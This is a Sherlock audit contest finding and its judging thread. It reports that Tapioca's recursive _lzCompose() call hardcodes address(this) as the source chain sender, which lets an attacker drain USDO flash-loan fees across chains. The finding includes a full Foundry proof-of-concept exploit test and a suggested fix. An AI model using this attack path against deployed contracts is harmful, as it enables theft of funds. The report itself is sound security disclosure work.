0xadrii - Recursive _lzCompose() call can be leveraged to steal all generated USDO fees

[sherlock-admin2]

0xadrii

high

Recursive _lzCompose() call can be leveraged to steal all generated USDO fees

Summary

It is possible to steal all generated USDO fees by leveraging the recursive _lzCompose() call triggered in compose calls.

Vulnerability Detail

The USDOFlashloanHelper contract allows users to take USDO flash loans. When a user takes a flash loan some fees will be enforced and transferred to the USDO contract:

// USDOFlashloanHelper.sol
function flashLoan(IERC3156FlashBorrower receiver, address token, uint256 amount, bytes calldata data)
        external
        override
        returns (bool)
    {

        ...

        IERC20(address(usdo)).safeTransferFrom(address(receiver), address(usdo), fee);

        _flashloanEntered = false;

        return true;
    }

Such fees can be later retrieved by the owner of the USDO contract via the extractFees() function:

// Usdo.sol
function extractFees() external onlyOwner { 
        if (_fees > 0) {
            uint256 balance = balanceOf(address(this));

            uint256 toExtract = balance >= _fees ? _fees : balance;
            _fees -= toExtract;
            _transfer(address(this), msg.sender, toExtract);
        }
    }

However, such fees can be stolen by an attacker by leveraging a wrong parameter set when performing a compose call.

When a compose call is triggered, the internal _lzCompose() call will be triggered. This call will check the msgType_ and execute some logic according to the type of message requested. After executing the corresponding logic, it will be checked if there is an additional message by checking the nextMsg_.length. If the compose call had a next message to be called, a recursive call will be triggered and _lzCompose() will be called again:

// TapiocaOmnichainReceiver.sol

function _lzCompose(address srcChainSender_, bytes32 _guid, bytes memory oftComposeMsg_) internal {

        // Decode OFT compose message.
        (uint16 msgType_,,, bytes memory tapComposeMsg_, bytes memory nextMsg_) =
            TapiocaOmnichainEngineCodec.decodeToeComposeMsg(oftComposeMsg_);

        // Call Permits/approvals if the msg type is a permit/approval.
        // If the msg type is not a permit/approval, it will call the other receivers. 
        if (msgType_ == MSG_REMOTE_TRANSFER) {   
            _remoteTransferReceiver(srcChainSender_, tapComposeMsg_);   
        } else if (!_extExec(msgType_, tapComposeMsg_)) { 
            // Check if the TOE extender is set and the msg type is valid. If so, call the TOE extender to handle msg.
            if ( 
                address(tapiocaOmnichainReceiveExtender) != address(0)
                    && tapiocaOmnichainReceiveExtender.isMsgTypeValid(msgType_)
            ) {  
                bytes memory callData = abi.encodeWithSelector(
                    ITapiocaOmnichainReceiveExtender.toeComposeReceiver.selector,
                    msgType_,
                    srcChainSender_, 
                    tapComposeMsg_
                ); 
                (bool success, bytes memory returnData) =
                    address(tapiocaOmnichainReceiveExtender).delegatecall(callData);
                if (!success) {
                    revert(_getTOEExtenderRevertMsg(returnData));
                }
            } else {
                // If no TOE extender is set or msg type doesn't match extender, try to call the internal receiver.
                if (!_toeComposeReceiver(msgType_, srcChainSender_, tapComposeMsg_)) {
                    revert InvalidMsgType(msgType_);
                }
            }
        }

        emit ComposeReceived(msgType_, _guid, tapComposeMsg_);
        if (nextMsg_.length > 0) {
            _lzCompose(address(this), _guid, nextMsg_);
        }
    }

As we can see in the code snippet’s last line, if nextMsg_.length > 0 an additional compose call can be triggered . The problem with this call is that the first parameter in the _lzCompose() call is hardcoded to be address(this) (address of USDO), making the srcChainSender_ become the USDO address in the recursive compose call.

An attacker can then leverage the remote transfer logic in order to steal all the USDO tokens held in the USDO contract (mainly fees generated by flash loans).

Forcing the recursive call to be a remote transfer, _remoteTransferReceiver() will be called. Because the source chain sender in the recursive call is the USDO contract, the owner parameter in the remote transfer (the address from which the remote transfer tokens are burnt) can also be set to the USDO address, making the allowance check in the _internalTransferWithAllowance() call be bypassed, and effectively burning a desired amount from USDO.

// USDO.sol
function _remoteTransferReceiver(address _srcChainSender, bytes memory _data) internal virtual {
        RemoteTransferMsg memory remoteTransferMsg_ = TapiocaOmnichainEngineCodec.decodeRemoteTransferMsg(_data);

        /// @dev xChain owner needs to have approved dst srcChain `sendPacket()` msg.sender in a previous composedMsg. Or be the same address.
        _internalTransferWithAllowance(
            remoteTransferMsg_.owner, _srcChainSender, remoteTransferMsg_.lzSendParam.sendParam.amountLD
        );   

        ...
    }

function _internalTransferWithAllowance(address _owner, address srcChainSender, uint256 _amount) internal {

        if (_owner != srcChainSender) {   // <------- `_owner` and `srcChainSender` will both be the USDO address, so the check in `_spendAllowance()` won't be performed
            _spendAllowance(_owner, srcChainSender, _amount);
        }

        _transfer(_owner, address(this), _amount);
    } 

After burning the tokens from USDO, the remote transfer will trigger a call to a destination chain to mint the burnt tokens in the origin chain. The receiver of the tokens can be different from the address whose tokens were burnt, so an attacker can obtain the minted tokens in the destination chain, effectively stealing all USDO balance from the USDO contract.

An example attack path would be:

1. An attacker creates a compose call from chain A to chain B. This compose call is actually composed of two messages:
   1. The first message, which won’t affect the attack and is simply the initial step to trigger the attack in the destination chain
   2. The second message (nextMsg), which is the actual compose message that will trigger the remote transfer and burn the tokens in chain B, and finally trigger a call back to chain A to mint he tokens
2. The call is executed, chain B receives the call and triggers the first compose message (as demonstrated in the PoC, this first message is not important and can simply be a remote transfer call with a 0 amount of tokens). After triggering the first compose call, the second compose message is triggered. The USDO contract is set as the source chain sender and the remote transfer is called. Because the owner set in the compose call and the source chain sender are the same, the specified tokens in the remote transfer are directly burnt
3. Finally, the compose call triggers a call back to chain A to mint the burnt tokens in chain B, and tokens are minted to the attacker

Proof of concept

The following proof of concept illustrates how the mentioned attack can take place. In order to execute the PoC, the following steps must be performed:

1. Create an EnpointMock.sol file inside the test folder inside Tapioca-bar and paste the following code (the current tests are too complex, this imitates LZ’s endpoint contracts and reduces the poc’s complexity):

// SPDX-License-Identifier: LZBL-1.2

pragma solidity ^0.8.20;

struct MessagingReceipt {
    bytes32 guid;
    uint64 nonce;
    MessagingFee fee;
}

struct MessagingParams {
    uint32 dstEid;
    bytes32 receiver;
    bytes message;
    bytes options; 
    bool payInLzToken;
}

struct MessagingFee {
    uint256 nativeFee;
    uint256 lzTokenFee;
}
contract MockEndpointV2  {

    function send(
        MessagingParams calldata _params,
        address _refundAddress
    ) external payable  returns (MessagingReceipt memory receipt) {
        // DO NOTHING
    }

    /// @dev the Oapp sends the lzCompose message to the endpoint
    /// @dev the composer MUST assert the sender because anyone can send compose msg with this function
    /// @dev with the same GUID, the Oapp can send compose to multiple _composer at the same time
    /// @dev authenticated by the msg.sender
    /// @param _to the address which will receive the composed message
    /// @param _guid the message guid
    /// @param _message the message
    function sendCompose(address _to, bytes32 _guid, uint16 _index, bytes calldata _message) external {
         // DO NOTHING

    }

}

1. Import and deploy two mock endpoints in the Usdo.t.sol file
2. Change the inherited OApp in Usdo.sol ’s implementation so that the endpoint variable is not immutable and add a setEndpoint() function so that the endpoint configured in setUp() can be chainged to the newly deployed endpoints
3. Paste the following test insde Usdo.t.sol :

function testVuln_USDOBorrowFeesCanBeDrained() public {

        // Change configured enpoints

        endpoints[aEid] = address(mockEndpointV2A);
        endpoints[bEid] = address(mockEndpointV2B);

        aUsdo.setEndpoint(address(mockEndpointV2A));
        bUsdo.setEndpoint(address(mockEndpointV2B));

        // Mock generated fees
        deal(address(bUsdo), address(bUsdo), 100 ether);

        ////////////////////////////////////////////////////////
        //                 PREPARE MESSAGES                   //
        ////////////////////////////////////////////////////////

        // NEXT MESSAGE    B --> A      (EXECUTED AS THE nextMsg after the INITIAL  B --> A MESSAGE)            

        SendParam memory sendParamAToBVictim = SendParam({
            dstEid: aEid,
            to: OFTMsgCodec.addressToBytes32(makeAddr("attacker")),
            amountLD: 100 ether, // IMPORTANT: This must be set to the amount we want to steal
            minAmountLD: 100 ether,
            extraOptions: bytes(""),
            composeMsg: bytes(""),
            oftCmd: bytes("")
        });  
        MessagingFee memory feeAToBVictim = MessagingFee({
            nativeFee: 0,
            lzTokenFee: 0
        });

        LZSendParam memory lzSendParamAToBVictim = LZSendParam({
            sendParam: sendParamAToBVictim,
            fee: feeAToBVictim,
            extraOptions: bytes(""),
            refundAddress: makeAddr("attacker")
        });

        RemoteTransferMsg memory remoteTransferMsgVictim = RemoteTransferMsg({
            owner: address(bUsdo), // IMPORTANT: This will make the attack be triggered as bUsdo will become the srcChainSender in the nextMsg compose call
            composeMsg: bytes(""),
            lzSendParam: lzSendParamAToBVictim
        });

        uint16 index; // needed to bypass Solidity's encoding literal error
        // Create Toe Compose message for the victim
        bytes memory toeComposeMsgVictim = abi.encodePacked(
            PT_REMOTE_TRANSFER, // msgType
            uint16(abi.encode(remoteTransferMsgVictim).length), // message length (0)
            index, // index
            abi.encode(remoteTransferMsgVictim), // message
            bytes("") // next message
        );

        // SECOND MESSAGE (composed)     B ---> A      
        // This second message is a necessary step in order to reach the execution
        // inside `_lzCompose()` where the nextMsg can be triggered

        SendParam memory sendParamBToA = SendParam({
            dstEid: aEid,
            to: OFTMsgCodec.addressToBytes32(address(aUsdo)),
            amountLD: 0, 
            minAmountLD: 0,
            extraOptions: bytes(""),
            composeMsg: bytes(""),
            oftCmd: bytes("")
        });  
        MessagingFee memory feeBToA = MessagingFee({
            nativeFee: 0,
            lzTokenFee: 0
        });

        LZSendParam memory lzSendParamBToA = LZSendParam({
            sendParam: sendParamBToA,
            fee: feeBToA,
            extraOptions: bytes(""),
            refundAddress: makeAddr("attacker")
        });

        // Create remote transfer message
        RemoteTransferMsg memory remoteTransferMsg = RemoteTransferMsg({
            owner: makeAddr("attacker"),
            composeMsg: bytes(""),
            lzSendParam: lzSendParamBToA
        });

        // Create Toe Compose message
        bytes memory toeComposeMsg = abi.encodePacked(
            PT_REMOTE_TRANSFER, // msgType
            uint16(abi.encode(remoteTransferMsg).length), // message length
            index, // index
            abi.encode(remoteTransferMsg),
            toeComposeMsgVictim // next message: IMPORTANT to set this to the A --> B message that will be triggered as the `nextMsg`
        );

        // INITIAL MESSAGE       A ---> B                      

        // Create `_lzSendParam` parameter for `sendPacket()`
        SendParam memory sendParamAToB = SendParam({
            dstEid: bEid,
            to: OFTMsgCodec.addressToBytes32(makeAddr("attacker")), // address here doesn't matter
            amountLD: 0,
            minAmountLD: 0,
            extraOptions: bytes(""),
            composeMsg: bytes(""),
            oftCmd: bytes("")
        });  
        MessagingFee memory feeAToB = MessagingFee({
            nativeFee: 0,
            lzTokenFee: 0
        });

        LZSendParam memory lzSendParamAToB = LZSendParam({
            sendParam: sendParamAToB,
            fee: feeAToB,
            extraOptions: bytes(""),
            refundAddress: makeAddr("attacker")
        });

        vm.startPrank(makeAddr("attacker"));
        aUsdo.sendPacket(lzSendParamAToB, toeComposeMsg);

        // EXECUTE ATTACK

        // Execute first lzReceive() --> receive message in chain B

        vm.startPrank(endpoints[bEid]);
        UsdoReceiver(address(bUsdo)).lzReceive(
            Origin({sender: OFTMsgCodec.addressToBytes32(address(aUsdo)), srcEid: aEid, nonce: 0}), 
            OFTMsgCodec.addressToBytes32(address(0)), // guid (not needed for the PoC)
            abi.encodePacked( // same as _buildOFTMsgAndOptions()
                sendParamAToB.to,
                 index,  // amount (use an initialized 0 variable due to Solidity restrictions)
                OFTMsgCodec.addressToBytes32(makeAddr("attacker")), // initially, the sender for the first A --> B message is the attacker
                toeComposeMsg
            ), // message
            address(0), // executor (not used)
            bytes("") // extra data (not used)
        );

        // Compose message is sent in `lzReceive()`, we need to trigger `lzCompose()`.
        // bUsdo will be burnt from the bUSDO address, and nextMsg will be triggered to mint the burnt amount in chain A, having 
        // the attacker as the receiver
        UsdoReceiver(address(bUsdo)).lzCompose(
            address(bUsdo), 
            OFTMsgCodec.addressToBytes32(address(0)), // guid (not needed for the PoC)
            abi.encodePacked(OFTMsgCodec.addressToBytes32(address(aUsdo)), toeComposeMsg), // message
            address(0), // executor (not used)
            bytes("") // extra data (not used)
        );

        vm.startPrank(endpoints[aEid]);

        // Receive nextMsg in chain A, mint tokens to the attacker
        uint64 tokenAmountSD = usdoHelper.toSD(100 ether, aUsdo.decimalConversionRate());

        UsdoReceiver(address(aUsdo)).lzReceive(
            Origin({sender: OFTMsgCodec.addressToBytes32(address(bUsdo)), srcEid: bEid, nonce: 0}), 
            OFTMsgCodec.addressToBytes32(address(0)), // guid (not needed for the PoC)
            abi.encodePacked( // same as _buildOFTMsgAndOptions()
                OFTMsgCodec.addressToBytes32(makeAddr("attacker")),
                tokenAmountSD
            ), // message
            address(0), // executor (not used)
            bytes("") // extra data (not used)
        );

        // Finished: bUSDO fees get drained, attacker obtains all the fees in the form of aUSDO
        assertEq(bUsdo.balanceOf(address(bUsdo)), 0);
        assertEq(aUsdo.balanceOf(makeAddr("attacker")), 100 ether);

    }

Run the poc with the following command: forge test --mt testVuln_USDOBorrowFeesCanBeDrained

The proof of concept shows how in the end, USDO’s bUsdo balance will become 0, while the same amount ofaUsdo in chain A will be minted to the attacker.

Impact

High, all fees generated by the USDO contract can be effectively stolen by the attacker

Code Snippet

https://github.com/sherlock-audit/2024-02-tapioca/blob/main/Tapioca-bar/gitmodule/tapioca-periph/contracts/tapiocaOmnichainEngine/TapiocaOmnichainReceiver.sol#L182

Tool used

Manual Review, foundry

Recommendation

Ensure that the _lzCompose() call triggered when a _nextMsg exists keeps a consistent source chain sender address, instead of hardcoding it to address(this) :

// TapiocaOmnichainReceiver.sol

function _lzCompose(address srcChainSender_, bytes32 _guid, bytes memory oftComposeMsg_) internal {

        // Decode OFT compose message.
        (uint16 msgType_,,, bytes memory tapComposeMsg_, bytes memory nextMsg_) =
            TapiocaOmnichainEngineCodec.decodeToeComposeMsg(oftComposeMsg_);

        ...

        emit ComposeReceived(msgType_, _guid, tapComposeMsg_);
        if (nextMsg_.length > 0) {
-            _lzCompose(address(this), _guid, nextMsg_);‚
+            _lzCompose(srcChainSender_, _guid, nextMsg_);
        }
    }

[0xRektora]

Dupe of https://github.com/sherlock-audit/2024-02-tapioca-judging/issues/111

[0xadrii]

Escalate I believe this issue has been wrongly marked as a duplicate of #111 .

The vulnerability detailed in this issue is not related to the issue of passing a wrong parameter as the source chain sender when the _internalRemoteTransferSendPacket() function is called. The overall root cause for the vulnerability described in #111 is actually different from the issue described in this report.

The problem with the vulnerability reported in this issue is that address(this) is hardcoded as the source chain sender for the next compose call if the length of the next message appended is > 0:

// TapiocaOmnichainReceiver.sol

...
if (nextMsg_.length > 0) { 
            _lzCompose(address(this), _guid, nextMsg_); // <---- `address(this)` is wrong
}

This will make the next compose call have address(this) (the USDO contract address) as the source chain sender for the next call. As seen in this issue comment, the fix proposed for #111 changes the source chain sender from remoteTransferMsg_.owner to _srcChainSender.

Although this fix mitigates the possibility of draining any account that is passed as the remoteTransferMsg_.owner parameter (which is the root cause that allows #111 and all its duplicates to take place), the issue described in this report is still possible because the USDO contract will be passed as the srcChainSender in the compose call, which enables malicious actors to execute remote transfers as if they were USDO.

As shown in my PoC, an attacker can then burn all USDO fees held in the USDO contract on chain B, and transfer them to an arbitrary address in chain A, effectively stealing all fees sitting in the USDO contract.

[sherlock-admin2]

Escalate I believe this issue has been wrongly marked as a duplicate of #111 .

The vulnerability detailed in this issue is not related to the issue of passing a wrong parameter as the source chain sender when the _internalRemoteTransferSendPacket() function is called. The overall root cause for the vulnerability described in #111 is actually different from the issue described in this report.

The problem with the vulnerability reported in this issue is that address(this) is hardcoded as the source chain sender for the next compose call if the length of the next message appended is > 0:

// TapiocaOmnichainReceiver.sol

...
if (nextMsg_.length > 0) { 
            _lzCompose(address(this), _guid, nextMsg_); // <---- `address(this)` is wrong
}

This will make the next compose call have address(this) (the USDO contract address) as the source chain sender for the next call. As seen in this issue comment, the fix proposed for #111 changes the source chain sender from remoteTransferMsg_.owner to _srcChainSender.

Although this fix mitigates the possibility of draining any account that is passed as the remoteTransferMsg_.owner parameter (which is the root cause that allows #111 and all its duplicates to take place), the issue described in this report is still possible because the USDO contract will be passed as the srcChainSender in the compose call, which enables malicious actors to execute remote transfers as if they were USDO.

As shown in my PoC, an attacker can then burn all USDO fees held in the USDO contract on chain B, and transfer them to an arbitrary address in chain A, effectively stealing all fees sitting in the USDO contract.

You've created a valid escalation!

To remove the escalation from consideration: Delete your comment.

You may delete or edit your escalation comment anytime before the 48-hour escalation window closes. After that, the escalation becomes final.

[nevillehuang]

This seems like a duplicate of #135, will need to review further. They are all very similar to each other.

[cvetanovv]

I agree with the escalations and @nevillehuang comment. We can deduplicate from #111 and duplicate with #135.

[cvetanovv]

Planning to accept the escalation and remove the duplication with #111, but duplicate with #135.

[Evert0x]

Result: High Has Duplicates

[sherlock-admin3]

Escalations have been resolved successfully!

Escalation status:

• 0xadrii: accepted